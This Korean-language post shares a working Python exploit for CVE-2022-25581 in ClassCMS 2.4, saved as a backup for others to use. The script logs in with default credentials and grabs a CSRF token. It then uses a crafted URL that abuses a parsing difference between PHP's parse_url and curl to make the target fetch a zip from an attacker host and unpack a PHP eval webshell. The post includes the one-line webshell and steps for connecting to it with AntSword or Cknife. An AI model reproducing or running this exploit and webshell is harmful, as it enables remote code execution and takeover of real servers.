
Python 익스플로잇 스크립트 (CVE-2022-25581, ClassCMS 2.4 임의 파일 다운로드)로, 로그인, CSRF 토큰 추출, 웹쉘이 포함된 악성 zip 업로드, URL 파싱 우회를 통한 원격 셸 액세스를 자동화합니다.
전체 인터넷에서 찾을 수 없어 백업을 남깁니다. Python 공격 스크립트로, 다음 단계를 자동으로 수행합니다:
csrf 및 token 획득)shell.zip 호스팅 용)/admin666)admin/admin이 임의 파일 다운로드 취약점의 핵심은 다음과 같은 특수 형식의 URL을 구성하는 것입니다:
http://@<ip>:[email protected]/shell.zip
PHP의 parse_url()과 curl이 URL을 해석하는 방식의 차이를 이용하여 host 화이트리스트 검증을 우회합니다.
import requests
from bs4 import BeautifulSoup
# =============== 설정 정보 ===============
target_url = "http://192.168.12.144"
admin_path = "/admin666" # 관리자 경로
login_url = f"{target_url}{admin_path}?do=login"
download_url = f"{target_url}{admin_path}?do=shop:downloadClass&ajax=1"
# 공격자 서버 주소 (대상에서 접근 가능해야 함)
attacker_ip = "192.168.12.144"
attacker_port = 80
shell_zip_url = f"http://@{attacker_ip}:{attacker_port}@classcms.com/shell.zip"
# webshell 파일명
webshell_name = "shell.php"
webshell_path = f"{target_url}/class/shell/{webshell_name}"
# 로그인 자격 증명
username = "admin"
password = "admin"
# ========================================
# 세션 설정 (쿠키 유지)
session = requests.Session()
# ================ Step 1: 관리자 로그인 ================
def login():
print("[*] 관리자 페이지 로그인 중...")
data = {
"username": username,
"password": password
}
res = session.post(login_url, data=data)
if "로그아웃" in res.text:
print("[+] 로그인 성공!")
return True
else:
print("[-] 로그인 실패. 사용자명/비밀번호 또는 관리자 경로를 확인하세요.")
return False
# ================ Step 2: csrf 토큰 획득 ================
def get_csrf():
url = f"{target_url}{admin_path}?do=shop:index&action=detail&classhash=debugswitch"
res = session.get(url)
soup = BeautifulSoup(res.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'csrf'})
if csrf_input:
return csrf_input['value']
else:
print("[-] csrf 토큰 추출 실패!")
return None
# ================ Step 3: 압축 파일 업로드 및 해제 ================
def upload_shell(csrf_token):
print(f"[*] {shell_zip_url} 업로드 중...")
payload = {
"classhash": "shell",
"url": shell_zip_url,
"csrf": csrf_token
}
headers = {
"User-Agent": "Mozilla/5.0",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}
res = session.post(download_url, data=payload, headers=headers)
if res.status_code == 200 and "다운로드 완료" in res.text:
print("[+] 업로드 성공!")
return True
else:
print("[-] 업로드 실패, 응답 내용:", res.text)
return False
# ================ Step 4: webshell 접근 시도 ================
def check_webshell():
print(f"[*] webshell 접근 시도 중: {webshell_path}")
try:
res = session.get(webshell_path, timeout=5)
if res.status_code == 200:
print("[+] webshell 접근 성공, 이제 Cknife/AntSword로 연결 가능합니다!")
print(f"[+] 주소: {webshell_path}")
else:
print("[-] webshell을 찾을 수 없거나 실행되지 않았습니다.")
except Exception as e:
print("[-] 연결 오류:", str(e))
# ================ 메인 함수 ================
if __name__ == "__main__":
if login():
csrf = get_csrf()
if csrf:
if upload_shell(csrf):
check_webshell()
shell.php 파일을 다음과 같이 생성:
<?php @eval($_POST['cmd']); ?>
shell.zip으로 압축. 루트 디렉터리에 shell.php가 바로 포함되도록 합니다.
공격자 서버에 두고 다음 URL로 접근 가능해야 함:
http://192.168.12.144/shell.zip
pip install requests beautifulsoup4
shell.zip 다운로드 제공.python exploit_classcms.py
shell.zip이 정상적으로 다운로드 가능해야 합니다.admin_path를 수정하세요.